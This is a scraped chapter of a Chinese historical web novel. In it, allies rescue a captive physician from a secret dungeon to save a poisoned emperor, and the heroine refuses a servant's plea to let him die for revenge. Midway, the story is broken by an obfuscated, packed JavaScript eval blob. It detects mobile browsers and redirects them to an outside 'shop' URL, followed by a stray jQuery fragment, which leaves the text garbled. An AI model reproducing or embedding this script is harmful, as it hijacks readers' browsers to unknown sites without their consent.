另一边,赵咎派禁军把王家翻了个底朝天,终于在袁老夫人的房间里找到一条密道。
“小主人!这边!”
甲一等人护着姜璎,生怕有埋伏,赵咎走在最前头,密道阴暗狭窄,他需得弯腰低头,才能避开边角头顶的岩土。
一路往里走,阴冷气息愈发浓重。
姜璎裹紧了身上的斗篷,紧紧抓住甲三的手,这个密道还是袁遗透露出来的,她并不怀疑消息的真假,她只担心……邢如风能否撑到他们来救。
已经第三天了。
没有多少时间可以浪费了。
不知道走了多久,一刻钟,还是两刻钟?空气变得潮湿又稀薄,压抑得让人喘不过气来。
姜璎用帕子掩住口鼻,跟在甲三身后,借着火把的光,依稀可见地上的泥泞。
看上去,像是通往城外?
不、不对。
应该是附近有水源。
姜璎脑海里自动浮现王家屋落的布局,袁老夫人的院子,朝南一直走,是哪片区域来着?
甲三提醒道:“小主人,快到了。”
姜璎回过神来,面前视野逐渐开阔,一盏油灯映入眼帘。
灯芯随风摇晃,给人一种会随时熄灭的感觉。
无力的哀嚎声,越来越近、越来越清晰。
“两天了,两天没送饭了,你们是不是忘了还有我的存在?”
“有没有人啊,来人啊!好歹给口水吧!”
“天老爷,三清圣人玉皇大帝王母娘娘,来个雷把这群畜生劈死吧!”
“啊啊啊!信不信老子出去了,把你们通通鲨光!鲨光!!”
听这声音,应该是没有什么大碍。
姜璎不由松了口气。
她叮嘱道:“赵咎,小心脚下,注意埋伏。”
赵咎应了一声,一手举着火把,一手握紧腰间佩剑,甲一见状摁住他肩膀,示意自己走在前头。
小主人新婚不久,这万一姑爷有个什么闪失,岂不是要害小主人守寡?
不行、不行。
里头的声音不知何时低了下去。
许是喊累了,需要歇一歇。
赵咎暗暗皱眉,发现密道尽头竟是一间牢房。
一股腥臭味扑面而来。
赵咎抬手掩住口鼻,忽然察觉到了凛冽杀意,他想也不想将火把扔了过去,说时迟那时快,长剑出鞘,凌空而起!
锵——!
金属碰撞的声音,刺耳胆寒。
埋伏在此处的八个**冲了上来。
邢如风听到动静,一睁眼,就看见昏暗的灯光下,十多人纠缠在一块。
甲三护着姜璎,身形变幻莫测,手中软剑轻而易举割断一个**的喉咙。
这几个**身体素质堪称一流,远非禁军能及。
若今日来的是普通护卫,只怕还要丧命于此。
但,好巧不巧。
他们碰上的是前梁皇室的死士。
个个都是精锐中的精锐,以一抵百,不在话下。
不过几个呼吸的功夫,甲一就收割了三条性命。死士,自幼学得便是**的招数。
眼见不敌,剩余几个**往邢如风冲去。
杀了他,明惠帝的生路自然断得一干二净!
“阿劫救命啊!!!”
邢如风失声尖叫,吓得双目紧闭,不敢再看。
噗呲——
血溅了一墙。
甲一甩出几枚暗器,锋利的刀片快而准刺穿**心脏,一息之间,要人性命。
姜璎闭了闭眼,忍住作呕的冲动,“赵咎,时间来不及了,快走。”
甲一割断麻绳,赵咎扶住邢如风,他被捆在木架上不知道有几日,四肢都麻木得无法正常活动。
“我背你。”赵咎道。
邢如风感动得快哭出声。
“阿劫,你可算是来了,你都不知道……”
“行了闭嘴吧!”赵咎不想听他说废话,背上人原路返回。
还是和之前一样,甲一和赵咎走在前头,甲三扶着姜璎,欲言又止地看着她,但最终还是没有说什么。
走出密道,等在外头的归南满脸焦急迎上来,见他们安然无恙,还找到邢如风,松了一口气的同时,咬牙道:“九郎,城外不知道哪里涌来了一群流民,将近千余人!看样子是早有预谋,想要浑水摸鱼,闯进皇城!”
赵咎神情微变。
“禁军呢?他们是**吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302861|173897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“流民里头有不少老弱妇孺,禁军束手束脚,不敢用蛮力制止。”
邢如风有气无力道:“你走吧,让这位大伯带我进宫去救高忱。”
甲一不苟言笑,又身手不凡,给人十足的安全感。
邢如风看这路数,就知道是死士出身。
稳了稳了!
赵咎也不耽搁,把人交给甲一,便急匆匆赶过去。
邢如风喝了几口水,好歹有了些力气,询问姜璎,“陛下如今是个什么状况?”
姜璎摇头道:“不太好,三天前喝了一口汤,便不住呕血,沈医官更擅长调理妇人身体,只能施针遏制毒素不往外扩散……”
边走边说。
甲三忽然拉住姜璎的手,“小主人……”
仿佛下定决心般,她道:“高炳篡位,如今高忱有此下场,想来是老天有眼,报应不爽!左右二姑娘有了身孕,我们何不顺应天命,让高忱就这样**,也算是为陛下和娘娘报仇!”
甲一像是知道甲三要说什么,提前背着邢如风走到了前头。
邢如风还在说:“大伯大伯!我那个药箱,被王家人锁在了箱笼,你帮我取一下吧,我家当全在里头呢!”
甲一沉默不语,去取药箱时,脚步明显放慢。
姜璎反应过来。
甲一是在等她的选择。
她若要高忱死,他们只需要放慢脚程,就能悄无声息,不落下任何把柄地把高忱活活拖死。
“小主人?”
“不行。”姜璎抿唇道,扔下两个字,小跑着冲进房,动作飞快翻找出了邢如风的药箱,“大伯,情况紧急,顾不了那么多了,我们骑马去。”
邢如风连连点头。
甲一沉默了一下,“好。”
甲三还是不死心,她心疼两位贵主,更心疼陛下在这世上仅剩的唯一骨血,如果不是高炳篡位,小主人何至于流落在外十多年,受尽种种苦楚?
眼下就是报仇的最好时机。
只要高忱一死……
“三姨。”
姜璎低声道:“倘若大父活着,他一定会很喜欢湛奴。”
他们都是一样的人。
一样的心软,一样的胸怀天下。